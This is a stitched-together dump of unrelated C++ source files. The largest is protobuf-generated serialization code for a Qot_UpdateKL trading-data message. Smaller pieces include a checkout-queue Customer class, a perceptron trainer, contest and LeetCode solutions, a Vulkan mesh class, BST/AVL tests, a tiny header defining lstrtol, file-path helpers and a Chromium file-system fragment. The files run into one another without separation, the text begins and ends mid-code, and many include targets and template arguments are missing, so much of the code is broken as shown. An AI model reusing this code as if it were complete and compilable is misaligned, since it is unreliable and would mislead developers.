arena->Own(n); } return n; } void S2C::Clear() { // @@protoc_insertion_point(message_clear_start:Qot_UpdateKL.S2C) ::google::protobuf::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; kllist_.Clear(); cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000001u) { GOOGLE_DCHECK(security_ != NULL); security_->Clear(); } if (cached_has_bits & 6u) { ::memset(&rehabtype_, 0, static_cast( reinterpret_cast(&kltype_) - reinterpret_cast(&rehabtype_)) + sizeof(kltype_)); } _has_bits_.Clear(); _internal_metadata_.Clear(); } bool S2C::MergePartialFromCodedStream( ::google::protobuf::io::CodedInputStream* input) { #define DO_(EXPRESSION) if (!GOOGLE_PREDICT_TRUE(EXPRESSION)) goto failure ::google::protobuf::uint32 tag; // @@protoc_insertion_point(parse_start:Qot_UpdateKL.S2C) for (;;) { ::std::pair< ::google::protobuf::uint32, bool> p = input->ReadTagWithCutoffNoLastTag(127u); tag = p.first; if (!p.second) goto handle_unusual; switch (::google::protobuf::internal::WireFormatLite::GetTagFieldNumber(tag)) { // required int32 rehabType = 1; case 1: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(8u /* 8 & 0xFF */)) { set_has_rehabtype(); DO_((::google::protobuf::internal::WireFormatLite::ReadPrimitive< ::google::protobuf::int32, ::google::protobuf::internal::WireFormatLite::TYPE_INT32>( input, &rehabtype_))); } else { goto handle_unusual; } break; } // required int32 klType = 2; case 2: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(16u /* 16 & 0xFF */)) { set_has_kltype(); DO_((::google::protobuf::internal::WireFormatLite::ReadPrimitive< ::google::protobuf::int32, ::google::protobuf::internal::WireFormatLite::TYPE_INT32>( input, &kltype_))); } else { goto handle_unusual; } break; } // required .Qot_Common.Security security = 3; case 3: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(26u /* 26 & 0xFF */)) { DO_(::google::protobuf::internal::WireFormatLite::ReadMessage( input, mutable_security())); } else { goto handle_unusual; } break; } // repeated .Qot_Common.KLine klList = 4; case 4: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(34u /* 34 & 0xFF */)) { DO_(::google::protobuf::internal::WireFormatLite::ReadMessage(input, add_kllist())); } else { goto handle_unusual; } break; } default: { handle_unusual: if (tag == 0) { goto success; } DO_(::google::protobuf::internal::WireFormat::SkipField( input, tag, _internal_metadata_.mutable_unknown_fields())); break; } } } success: // @@protoc_insertion_point(parse_success:Qot_UpdateKL.S2C) return true; failure: // @@protoc_insertion_point(parse_failure:Qot_UpdateKL.S2C) return false; #undef DO_ } void S2C::SerializeWithCachedSizes( ::google::protobuf::io::CodedOutputStream* output) const { // @@protoc_insertion_point(serialize_start:Qot_UpdateKL.S2C) ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required int32 rehabType = 1; if (cached_has_bits & 0x00000002u) { ::google::protobuf::internal::WireFormatLite::WriteInt32(1, this->rehabtype(), output); } // required int32 klType = 2; if (cached_has_bits & 0x00000004u) { ::google::protobuf::internal::WireFormatLite::WriteInt32(2, this->kltype(), output); } // required .Qot_Common.Security security = 3; if (cached_has_bits & 0x00000001u) { ::google::protobuf::internal::WireFormatLite::WriteMessageMaybeToArray( 3, *this->security_, output); } // repeated .Qot_Common.KLine klList = 4; for (unsigned int i = 0, n = static_cast(this->kllist_size()); i < n; i++) { ::google::protobuf::internal::WireFormatLite::WriteMessageMaybeToArray( 4, this->kllist(static_cast(i)), output); } if (_internal_metadata_.have_unknown_fields()) { ::google::protobuf::internal::WireFormat::SerializeUnknownFields( _internal_metadata_.unknown_fields(), output); } // @@protoc_insertion_point(serialize_end:Qot_UpdateKL.S2C) } ::google::protobuf::uint8* S2C::InternalSerializeWithCachedSizesToArray( bool deterministic, ::google::protobuf::uint8* target) const { (void)deterministic; // Unused // @@protoc_insertion_point(serialize_to_array_start:Qot_UpdateKL.S2C) ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required int32 rehabType = 1; if (cached_has_bits & 0x00000002u) { target = ::google::protobuf::internal::WireFormatLite::WriteInt32ToArray(1, this->rehabtype(), target); } // required int32 klType = 2; if (cached_has_bits & 0x00000004u) { target = ::google::protobuf::internal::WireFormatLite::WriteInt32ToArray(2, this->kltype(), target); } // required .Qot_Common.Security security = 3; if (cached_has_bits & 0x00000001u) { target = ::google::protobuf::internal::WireFormatLite:: InternalWriteMessageToArray( 3, *this->security_, deterministic, target); } // repeated .Qot_Common.KLine klList = 4; for (unsigned int i = 0, n = static_cast(this->kllist_size()); i < n; i++) { target = ::google::protobuf::internal::WireFormatLite:: InternalWriteMessageToArray( 4, this->kllist(static_cast(i)), deterministic, target); } if (_internal_metadata_.have_unknown_fields()) { target = ::google::protobuf::internal::WireFormat::SerializeUnknownFieldsToArray( _internal_metadata_.unknown_fields(), target); } // @@protoc_insertion_point(serialize_to_array_end:Qot_UpdateKL.S2C) return target; } size_t S2C::RequiredFieldsByteSizeFallback() const { // @@protoc_insertion_point(required_fields_byte_size_fallback_start:Qot_UpdateKL.S2C) size_t total_size = 0; if (has_security()) { // required .Qot_Common.Security security = 3; total_size += 1 + ::google::protobuf::internal::WireFormatLite::MessageSize( *this->security_); } if (has_rehabtype()) { // required int32 rehabType = 1; total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->rehabtype()); } if (has_kltype()) { // required int32 klType = 2; total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->kltype()); } return total_size; } size_t S2C::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:Qot_UpdateKL.S2C) size_t total_size = 0; if (_internal_metadata_.have_unknown_fields()) { total_size += ::google::protobuf::internal::WireFormat::ComputeUnknownFieldsSize( _internal_metadata_.unknown_fields()); } if (((_has_bits_[0] & 0x00000007) ^ 0x00000007) == 0) { // All required fields are present. // required .Qot_Common.Security security = 3; total_size += 1 + ::google::protobuf::internal::WireFormatLite::MessageSize( *this->security_); // required int32 rehabType = 1; total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->rehabtype()); // required int32 klType = 2; total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->kltype()); } else { total_size += RequiredFieldsByteSizeFallback(); } // repeated .Qot_Common.KLine klList = 4; { unsigned int count = static_cast(this->kllist_size()); total_size += 1UL * count; for (unsigned int i = 0; i < count; i++) { total_size += ::google::protobuf::internal::WireFormatLite::MessageSize( this->kllist(static_cast(i))); } } int cached_size = ::google::protobuf::internal::ToCachedSize(total_size); GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN(); _cached_size_ = cached_size; GOOGLE_SAFE_CONCURRENT_WRITES_END(); return total_size; } void S2C::MergeFrom(const ::google::protobuf::Message& from) { // @@protoc_insertion_point(generalized_merge_from_start:Qot_UpdateKL.S2C) GOOGLE_DCHECK_NE(&from, this); const S2C* source = ::google::protobuf::internal::DynamicCastToGenerated( &from); if (source == NULL) { // @@protoc_insertion_point(generalized_merge_from_cast_fail:Qot_UpdateKL.S2C) ::google::protobuf::internal::ReflectionOps::Merge(from, this); } else { // @@protoc_insertion_point(generalized_merge_from_cast_success:Qot_UpdateKL.S2C) MergeFrom(*source); } } void S2C::MergeFrom(const S2C& from) { // @@protoc_insertion_point(class_specific_merge_from_start:Qot_UpdateKL.S2C) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom(from._internal_metadata_); ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; kllist_.MergeFrom(from.kllist_); cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 7u) { if (cached_has_bits & 0x00000001u) { mutable_security()->::Qot_Common::Security::MergeFrom(from.security()); } if (cached_has_bits & 0x00000002u) { rehabtype_ = from.rehabtype_; } if (cached_has_bits & 0x00000004u) { kltype_ = from.kltype_; } _has_bits_[0] |= cached_has_bits; } } void S2C::CopyFrom(const ::google::protobuf::Message& from) { // @@protoc_insertion_point(generalized_copy_from_start:Qot_UpdateKL.S2C) if (&from == this) return; Clear(); MergeFrom(from); } void S2C::CopyFrom(const S2C& from) { // @@protoc_insertion_point(class_specific_copy_from_start:Qot_UpdateKL.S2C) if (&from == this) return; Clear(); MergeFrom(from); } bool S2C::IsInitialized() const { if ((_has_bits_[0] & 0x00000007) != 0x00000007) return false; if (!::google::protobuf::internal::AllAreInitialized(this->kllist())) return false; if (has_security()) { if (!this->security_->IsInitialized()) return false; } return true; } void S2C::Swap(S2C* other) { if (other == this) return; InternalSwap(other); } void S2C::InternalSwap(S2C* other) { using std::swap; kllist_.InternalSwap(&other->kllist_); swap(security_, other->security_); swap(rehabtype_, other->rehabtype_); swap(kltype_, other->kltype_); swap(_has_bits_[0], other->_has_bits_[0]); _internal_metadata_.Swap(&other->_internal_metadata_); swap(_cached_size_, other->_cached_size_); } ::google::protobuf::Metadata S2C::GetMetadata() const { protobuf_Qot_5fUpdateKL_2eproto::protobuf_AssignDescriptorsOnce(); return ::protobuf_Qot_5fUpdateKL_2eproto::file_level_metadata[kIndexInFileMessages]; } // =================================================================== void Response::InitAsDefaultInstance() { ::Qot_UpdateKL::_Response_default_instance_._instance.get_mutable()->s2c_ = const_cast< ::Qot_UpdateKL::S2C*>( ::Qot_UpdateKL::S2C::internal_default_instance()); } #if !defined(_MSC_VER) || _MSC_VER >= 1900 const int Response::kRetTypeFieldNumber; const int Response::kRetMsgFieldNumber; const int Response::kErrCodeFieldNumber; const int Response::kS2CFieldNumber; #endif // !defined(_MSC_VER) || _MSC_VER >= 1900 Response::Response() : ::google::protobuf::Message(), _internal_metadata_(NULL) { if (GOOGLE_PREDICT_TRUE(this != internal_default_instance())) { ::protobuf_Qot_5fUpdateKL_2eproto::InitDefaultsResponse(); } SharedCtor(); // @@protoc_insertion_point(constructor:Qot_UpdateKL.Response) } Response::Response(const Response& from) : ::google::protobuf::Message(), _internal_metadata_(NULL), _has_bits_(from._has_bits_), _cached_size_(0) { _internal_metadata_.MergeFrom(from._internal_metadata_); retmsg_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited()); if (from.has_retmsg()) { retmsg_.AssignWithDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited(), from.retmsg_); } if (from.has_s2c()) { s2c_ = new ::Qot_UpdateKL::S2C(*from.s2c_); } else { s2c_ = NULL; } ::memcpy(&errcode_, &from.errcode_, static_cast(reinterpret_cast(&rettype_) - reinterpret_cast(&errcode_)) + sizeof(rettype_)); // @@protoc_insertion_point(copy_constructor:Qot_UpdateKL.Response) } void Response::SharedCtor() { _cached_size_ = 0; retmsg_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited()); ::memset(&s2c_, 0, static_cast( reinterpret_cast(&errcode_) - reinterpret_cast(&s2c_)) + sizeof(errcode_)); rettype_ = -400; } Response::~Response() { // @@protoc_insertion_point(destructor:Qot_UpdateKL.Response) SharedDtor(); } void Response::SharedDtor() { retmsg_.DestroyNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited()); if (this != internal_default_instance()) delete s2c_; } void Response::SetCachedSize(int size) const { GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN(); _cached_size_ = size; GOOGLE_SAFE_CONCURRENT_WRITES_END(); } const ::google::protobuf::Descriptor* Response::descriptor() { ::protobuf_Qot_5fUpdateKL_2eproto::protobuf_AssignDescriptorsOnce(); return ::protobuf_Qot_5fUpdateKL_2eproto::file_level_metadata[kIndexInFileMessages].descriptor; } const Response& Response::default_instance() { ::protobuf_Qot_5fUpdateKL_2eproto::InitDefaultsResponse(); return *internal_default_instance(); } Response* Response::New(::google::protobuf::Arena* arena) const { Response* n = new Response; if (arena != NULL) { arena->Own(n); } return n; } void Response::Clear() { // @@protoc_insertion_point(message_clear_start:Qot_UpdateKL.Response) ::google::protobuf::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 3u) { if (cached_has_bits & 0x00000001u) { GOOGLE_DCHECK(!retmsg_.IsDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited())); (*retmsg_.UnsafeRawStringPointer())->clear(); } if (cached_has_bits & 0x00000002u) { GOOGLE_DCHECK(s2c_ != NULL); s2c_->Clear(); } } if (cached_has_bits & 12u) { errcode_ = 0; rettype_ = -400; } _has_bits_.Clear(); _internal_metadata_.Clear(); } bool Response::MergePartialFromCodedStream( ::google::protobuf::io::CodedInputStream* input) { #define DO_(EXPRESSION) if (!GOOGLE_PREDICT_TRUE(EXPRESSION)) goto failure ::google::protobuf::uint32 tag; // @@protoc_insertion_point(parse_start:Qot_UpdateKL.Response) for (;;) { ::std::pair< ::google::protobuf::uint32, bool> p = input->ReadTagWithCutoffNoLastTag(127u); tag = p.first; if (!p.second) goto handle_unusual; switch (::google::protobuf::internal::WireFormatLite::GetTagFieldNumber(tag)) { // required int32 retType = 1 [default = -400]; case 1: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(8u /* 8 & 0xFF */)) { set_has_rettype(); DO_((::google::protobuf::internal::WireFormatLite::ReadPrimitive< ::google::protobuf::int32, ::google::protobuf::internal::WireFormatLite::TYPE_INT32>( input, &rettype_))); } else { goto handle_unusual; } break; } // optional string retMsg = 2; case 2: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(18u /* 18 & 0xFF */)) { DO_(::google::protobuf::internal::WireFormatLite::ReadString( input, this->mutable_retmsg())); ::google::protobuf::internal::WireFormat::VerifyUTF8StringNamedField( this->retmsg().data(), static_cast(this->retmsg().length()), ::google::protobuf::internal::WireFormat::PARSE, "Qot_UpdateKL.Response.retMsg"); } else { goto handle_unusual; } break; } // optional int32 errCode = 3; case 3: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(24u /* 24 & 0xFF */)) { set_has_errcode(); DO_((::google::protobuf::internal::WireFormatLite::ReadPrimitive< ::google::protobuf::int32, ::google::protobuf::internal::WireFormatLite::TYPE_INT32>( input, &errcode_))); } else { goto handle_unusual; } break; } // optional .Qot_UpdateKL.S2C s2c = 4; case 4: { if (static_cast< ::google::protobuf::uint8>(tag) == static_cast< ::google::protobuf::uint8>(34u /* 34 & 0xFF */)) { DO_(::google::protobuf::internal::WireFormatLite::ReadMessage( input, mutable_s2c())); } else { goto handle_unusual; } break; } default: { handle_unusual: if (tag == 0) { goto success; } DO_(::google::protobuf::internal::WireFormat::SkipField( input, tag, _internal_metadata_.mutable_unknown_fields())); break; } } } success: // @@protoc_insertion_point(parse_success:Qot_UpdateKL.Response) return true; failure: // @@protoc_insertion_point(parse_failure:Qot_UpdateKL.Response) return false; #undef DO_ } void Response::SerializeWithCachedSizes( ::google::protobuf::io::CodedOutputStream* output) const { // @@protoc_insertion_point(serialize_start:Qot_UpdateKL.Response) ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required int32 retType = 1 [default = -400]; if (cached_has_bits & 0x00000008u) { ::google::protobuf::internal::WireFormatLite::WriteInt32(1, this->rettype(), output); } // optional string retMsg = 2; if (cached_has_bits & 0x00000001u) { ::google::protobuf::internal::WireFormat::VerifyUTF8StringNamedField( this->retmsg().data(), static_cast(this->retmsg().length()), ::google::protobuf::internal::WireFormat::SERIALIZE, "Qot_UpdateKL.Response.retMsg"); ::google::protobuf::internal::WireFormatLite::WriteStringMaybeAliased( 2, this->retmsg(), output); } // optional int32 errCode = 3; if (cached_has_bits & 0x00000004u) { ::google::protobuf::internal::WireFormatLite::WriteInt32(3, this->errcode(), output); } // optional .Qot_UpdateKL.S2C s2c = 4; if (cached_has_bits & 0x00000002u) { ::google::protobuf::internal::WireFormatLite::WriteMessageMaybeToArray( 4, *this->s2c_, output); } if (_internal_metadata_.have_unknown_fields()) { ::google::protobuf::internal::WireFormat::SerializeUnknownFields( _internal_metadata_.unknown_fields(), output); } // @@protoc_insertion_point(serialize_end:Qot_UpdateKL.Response) } ::google::protobuf::uint8* Response::InternalSerializeWithCachedSizesToArray( bool deterministic, ::google::protobuf::uint8* target) const { (void)deterministic; // Unused // @@protoc_insertion_point(serialize_to_array_start:Qot_UpdateKL.Response) ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required int32 retType = 1 [default = -400]; if (cached_has_bits & 0x00000008u) { target = ::google::protobuf::internal::WireFormatLite::WriteInt32ToArray(1, this->rettype(), target); } // optional string retMsg = 2; if (cached_has_bits & 0x00000001u) { ::google::protobuf::internal::WireFormat::VerifyUTF8StringNamedField( this->retmsg().data(), static_cast(this->retmsg().length()), ::google::protobuf::internal::WireFormat::SERIALIZE, "Qot_UpdateKL.Response.retMsg"); target = ::google::protobuf::internal::WireFormatLite::WriteStringToArray( 2, this->retmsg(), target); } // optional int32 errCode = 3; if (cached_has_bits & 0x00000004u) { target = ::google::protobuf::internal::WireFormatLite::WriteInt32ToArray(3, this->errcode(), target); } // optional .Qot_UpdateKL.S2C s2c = 4; if (cached_has_bits & 0x00000002u) { target = ::google::protobuf::internal::WireFormatLite:: InternalWriteMessageToArray( 4, *this->s2c_, deterministic, target); } if (_internal_metadata_.have_unknown_fields()) { target = ::google::protobuf::internal::WireFormat::SerializeUnknownFieldsToArray( _internal_metadata_.unknown_fields(), target); } // @@protoc_insertion_point(serialize_to_array_end:Qot_UpdateKL.Response) return target; } size_t Response::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:Qot_UpdateKL.Response) size_t total_size = 0; if (_internal_metadata_.have_unknown_fields()) { total_size += ::google::protobuf::internal::WireFormat::ComputeUnknownFieldsSize( _internal_metadata_.unknown_fields()); } // required int32 retType = 1 [default = -400]; if (has_rettype()) { total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->rettype()); } if (_has_bits_[0 / 32] & 7u) { // optional string retMsg = 2; if (has_retmsg()) { total_size += 1 + ::google::protobuf::internal::WireFormatLite::StringSize( this->retmsg()); } // optional .Qot_UpdateKL.S2C s2c = 4; if (has_s2c()) { total_size += 1 + ::google::protobuf::internal::WireFormatLite::MessageSize( *this->s2c_); } // optional int32 errCode = 3; if (has_errcode()) { total_size += 1 + ::google::protobuf::internal::WireFormatLite::Int32Size( this->errcode()); } } int cached_size = ::google::protobuf::internal::ToCachedSize(total_size); GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN(); _cached_size_ = cached_size; GOOGLE_SAFE_CONCURRENT_WRITES_END(); return total_size; } void Response::MergeFrom(const ::google::protobuf::Message& from) { // @@protoc_insertion_point(generalized_merge_from_start:Qot_UpdateKL.Response) GOOGLE_DCHECK_NE(&from, this); const Response* source = ::google::protobuf::internal::DynamicCastToGenerated( &from); if (source == NULL) { // @@protoc_insertion_point(generalized_merge_from_cast_fail:Qot_UpdateKL.Response) ::google::protobuf::internal::ReflectionOps::Merge(from, this); } else { // @@protoc_insertion_point(generalized_merge_from_cast_success:Qot_UpdateKL.Response) MergeFrom(*source); } } void Response::MergeFrom(const Response& from) { // @@protoc_insertion_point(class_specific_merge_from_start:Qot_UpdateKL.Response) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom(from._internal_metadata_); ::google::protobuf::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 15u) { if (cached_has_bits & 0x00000001u) { set_has_retmsg(); retmsg_.AssignWithDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited(), from.retmsg_); } if (cached_has_bits & 0x00000002u) { mutable_s2c()->::Qot_UpdateKL::S2C::MergeFrom(from.s2c()); } if (cached_has_bits & 0x00000004u) { errcode_ = from.errcode_; } if (cached_has_bits & 0x00000008u) { rettype_ = from.rettype_; } _has_bits_[0] |= cached_has_bits; } } void Response::CopyFrom(const ::google::protobuf::Message& from) { // @@protoc_insertion_point(generalized_copy_from_start:Qot_UpdateKL.Response) if (&from == this) return; Clear(); MergeFrom(from); } void Response::CopyFrom(const Response& from) { // @@protoc_insertion_point(class_specific_copy_from_start:Qot_UpdateKL.Response) if (&from == this) return; Clear(); MergeFrom(from); } bool Response::IsInitialized() const { if ((_has_bits_[0] & 0x00000008) != 0x00000008) return false; if (has_s2c()) { if (!this->s2c_->IsInitialized()) return false; } return true; } void Response::Swap(Response* other) { if (other == this) return; InternalSwap(other); } void Response::InternalSwap(Response* other) { using std::swap; retmsg_.Swap(&other->retmsg_); swap(s2c_, other->s2c_); swap(errcode_, other->errcode_); swap(rettype_, other->rettype_); swap(_has_bits_[0], other->_has_bits_[0]); _internal_metadata_.Swap(&other->_internal_metadata_); swap(_cached_size_, other->_cached_size_); } ::google::protobuf::Metadata Response::GetMetadata() const { protobuf_Qot_5fUpdateKL_2eproto::protobuf_AssignDescriptorsOnce(); return ::protobuf_Qot_5fUpdateKL_2eproto::file_level_metadata[kIndexInFileMessages]; } // @@protoc_insertion_point(namespace_scope) } // namespace Qot_UpdateKL // @@protoc_insertion_point(global_scope) //Name: //SU ID : 705946284 #include "Customer.h" #include #include #include //Function definition int Customer::get_customerId(void) { return customer_id; } void Customer::set_customerId(int cust_id) { customer_id = cust_id; } double Customer::get_checkout(void) { return checkout; } void Customer::set_checkout(void) { checkout= round(((item*5)/60)+1/6+1.5); } double Customer::get_waiting_time(void) { return checkout1; } void Customer::set_waiting_time(void) { checkout1= round(((item*5)/60)+1/6+1.5);} void Customer::time_toDequeue() { if(checkout>0) { checkout=checkout-1; } else { checkout=0; } } int Customer::get_itemNo(void) { return item; } void Customer::set_itemNo(void) { item = rand()%(40-5 + 1) + 5; } 0 #include #include #include #include // declaration block ~~~~~~~~~~~~~~~~~~~~~~~~ void teach(std::vector > & x, std::vector & w, std::vector & y, std::vector & true_y); void binary(std::vector > & xt); void true_foo(std::vector > & xt, std::vector & yt); void print_y(std::vector > const & xt, std::vector const & yt); void print_test(std::vector const & yt); double net_foo(std::vector const & xt, std::vector const & wt); double log_foo(double net); void fil_foo(double net, double & _y); double err_foo(double tr_y, double y); void cor_foo(double del, std::vector & xt, std::vector & wt); // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ int flag = 0; // Функция составления двоичных комбинаций 2^4 void binary(std::vector > & xt) { for (int i = 0; i < 16; i++) { std::bitset<4> bin(i); for (int j = 0; j < 4; j++) { xt[i].push_back( bin[j] ); } } } // Функция построения таблицы истинности. void true_foo(std::vector > & xt, std::vector & yt) { for (int i = 0; i < 16; i++) { if ( (xt[i][3]==0) && ( ( (xt[i][0]==0) && (xt[i][1]==0) ) || (xt[i][2]==0) ) ) { yt.push_back(1); } else { yt.push_back (0); } } } void print_y(std::vector > const & xt, std::vector const & yt) { std::cout << std::endl << "X4 X3 X2 X1 | Y" << std::endl; for (int i = 0; i < 16; i++) { for (int j = 3; j >= 0; j--) { std::cout << " " << xt[i][j] << " "; } std::cout << "| " << yt[i] << std::endl; } std::cout << std::endl; } void print_test(std::vector const & yt) { std::cout <<"Vector Y: "; for (int i = 0; i < 16; i++) { std::cout << yt[i] << " "; } std::cout << "\n" << std::endl; } double tumb = 1; double net_foo(std::vector const & xt, std::vector const & wt) { double net = 0; for (int i = 0; i < 4; i++) { net += ( xt[i] * wt[i] ); } net += ( 1 * wt[4] ); if( tumb == 1 ) { return log_foo(net); } else { return net; } } double out; double dFoo = 1; double log_foo(double net) { out = 0; out = 0.5 * ( ( net / ( 1 + abs(net) ) ) + 1 ); dFoo = ( out * (1 - out) ); return out; } void fil_foo(double net, double & _y) { if (net >= 0.5) { _y = 1; } else { _y = 0; } } // Функция вычисления ошибки delta tr_y - учитель, y - тестовое значение. double err_foo(double tr_y, double y) { double delta = tr_y - y; if (delta != 0) { flag = 1; } return delta; } double nu = 0.3; // Функция коррекции весов void cor_foo(double del, std::vector & xt, std::vector & wt) { wt[4] += ( nu * del * 1 * dFoo); for (int i = 0; i < 4; i++) { wt[i] += ( nu * del * xt[i] * dFoo ); } } // teach function void teach(std::vector > & x, std::vector & w, std::vector & y, std::vector & true_y) { int count = 0; double out = 0; double _delta = 0; double _detX = 0; double gErr = 0; do { count++; flag = 0; gErr = 0; for (int i = 0; i < 16; i++) { out = net_foo(x[i], w); fil_foo(out, y[i]); _delta = err_foo(true_y[i], y[i]); gErr += abs(_delta); cor_foo(_delta, x[i], w); } std::cout << "\nERA: " << count << " Error Sum: " << gErr << std::endl; std::cout << " w0 w1 w2 w3 w4" << std::endl; std::cout <<"Vector W: " << w[4] << " " << w[0] << " " << w[1] << " " << w[2] << " " << w[3] << std::endl; print_test(y); } while (flag); std::cout << std::endl << "Number of era:" << count << std::endl; } 1485/b.cpp #include #include using namespace std; const int MAXN = 100005; int a[MAXN]; long long pref[MAXN]; int main() { int n, q, k; scanf("%d%d%d", &n, &q, &k); for (int i = 1; i <= n; ++i) { scanf("%d", &a[i]); } a[n + 1] = k + 1; for (int i = 1; i <= n; ++i) { pref[i] = pref[i - 1] + (a[i + 1] - a[i] - 1) + (a[i] - a[i - 1] - 1); } for (int i = 0; i < q; ++i) { int l, r; scanf("%d%d", &l, &r); // in the middle stays the same. On the borders // able to increase/decrese to min/max correspondingly. if (l == r) { printf("%d\n", k - 1); } else { long long ans = max(0ll, pref[r - 1] - pref[l]); ans += (k - a[r - 1] - 1); // can do a[r - 1] + 1 ... k except a[r] ans += a[l + 1] - 2; // can do 1 ... a[l + 1] - 1 except a[l] // cout << mid << endl; printf("%lld\n", ans); } } } 1-10 #pragma once #include #include "Utils/ByteImpl.hpp" class Color { Byte bytes[3]; void SetColorInternal(const std::string& color); public: Color() = default; Color(const std::string& color); Color(const Byte& r, const Byte& g, const Byte& b); Color(const unsigned int& color); void operator=(const std::string& color); std::string String() const; std::string StringNormalized() const; std::string StringHex() const; };#include "shift/render/vk/layer2/mesh.hpp" #include namespace shift::render::vk { mesh::~mesh() noexcept { } } namespace shift::render::vk::layer2 { mesh::mesh(vk::layer1::device& /*device*/, mesh::vertex_attributes_t vertex_attributes, index_attribute_t index_attribute) : // _device(&device), _vertex_attributes(std::move(vertex_attributes)), _index_attribute(std::move(index_attribute)) { for (auto& vertex_attribute : _vertex_attributes) { if (vertex_attribute.buffer != nullptr) { if (vertex_attribute.buffer->add_parent(*this)) ++_unloaded_children; } } if (_index_attribute.buffer != nullptr) { if (_index_attribute.buffer->add_parent(*this)) ++_unloaded_children; } // log::debug() << "Mesh #" << std::hex << // reinterpret_cast(this) // << " has " << std::dec << _unloaded_children // << " unavailable dependencies."; } mesh::~mesh() noexcept { if (_index_attribute.buffer != nullptr) _index_attribute.buffer->remove_parent(*this); for (auto& vertex_attribute : _vertex_attributes) { if (vertex_attribute.buffer != nullptr) vertex_attribute.buffer->remove_parent(*this); } } void mesh::signal(availability_state state) { if (state == availability_state::unloaded) { if (++_unloaded_children == 1) availability(availability_state::unloaded); } else if (state == availability_state::loaded) { BOOST_ASSERT(_unloaded_children > 0); if (--_unloaded_children == 0) availability(availability_state::loaded); } else if (state == availability_state::updated) { if (_unloaded_children == 0) availability(availability_state::updated); } log::debug() << "Mesh #" << std::hex << reinterpret_cast(this) << " now has " << std::dec << _unloaded_children << " unavailable dependencies left."; } } #include #include #include "bst.cpp" #include "avl.cpp" using namespace std; int main() { srand (time(NULL)); int val; BinarySearchTree bst; AVLTree avl; for(int i = 0; i < 10; i++) { val = rand() % 250 + 1; bst << val; avl << val; } // cout << "bst size: " << bst.size() << endl << endl; bst.print(); avl.print(); }/* * Author : * Date : June-July-2019 * * Compiler : g++ 5.1.0 * flags : -std=c++14 */ #include using namespace std; // source code here class Solution { public: int removeDuplicates(vector& nums) { // two pointer method if(nums.size()==0){ return 0; } int k = 1; int i = 1; while(i < nums.size()){ if(nums[i]==nums[i-1]){ i++; } else{ nums[k] = nums[i]; i++; k++; } } return k; } }; int main(){ cout<<"Hello World"; return 0; } /*++ Copyright (c) 2001 Microsoft Corporation Module Name: crack.hxx Abstract: crack Author: (LZhu) June 1, 2002 Environment: User Mode Revision History: --*/ #ifndef CRACK_HXX #define CRACK_HXX #if defined(UNICODE) || defined(_UNICODE) #define lstrtol wcstol #else #define lstrtol strtol #endif #endif // #ifndef CRACK_HXX CodesFarmer/stnumbersrc/common/filepath.cc #include "filepath.h" namespace FILEPARTS { bool fileparts(std::string fullpath, std::string & route_path, std::string &file_name, std::string &file_ext) { int str_len = int(fullpath.size()); int pos1; if((pos1 = fullpath.rfind('.')) == std::string::npos) { std::cerr<<"The file does not have an extension..."< -1) { route_path = fullpath.substr(0, pos2); } else { route_path = ""; } return true; } int counting_lines(std::string filename) { std::ifstream input_fid; input_fid.open(filename.c_str(), std::ios::in|std::ios::binary); int num_lines = 0; std::string lines; while(std::getline(input_fid, lines)) num_lines++; return num_lines; } bool replace_string(std::string &str, const std::string &substr_1, const std::string &substr_2) { size_t start_pos = str.find(substr_1); if(start_pos == std::string::npos) return false; str.replace(start_pos, substr_1.length(), substr_2); return true; } bool fullfile(std::string &file_path, int nargs, ...) { va_list ap; va_start(ap, nargs); file_path = va_arg(ap, std::string); for(int i = 1; i #include "base/bind.h" #include "base/files/file_path.h" #include "webkit/browser/fileapi/file_system_operation_context.h" #include "webkit/browser/fileapi/file_system_url.h" #include "webkit/browser/fileapi/isolated_context.h" using storage::ScopedFile; namespace storage { namespace { void RevokeFileSystem(const std::string& filesystem_id, const base::FilePath& /*path*/) { IsolatedContext::GetInstance()->RevokeFileSystem(filesystem_id); } } // namespace ScopedFile 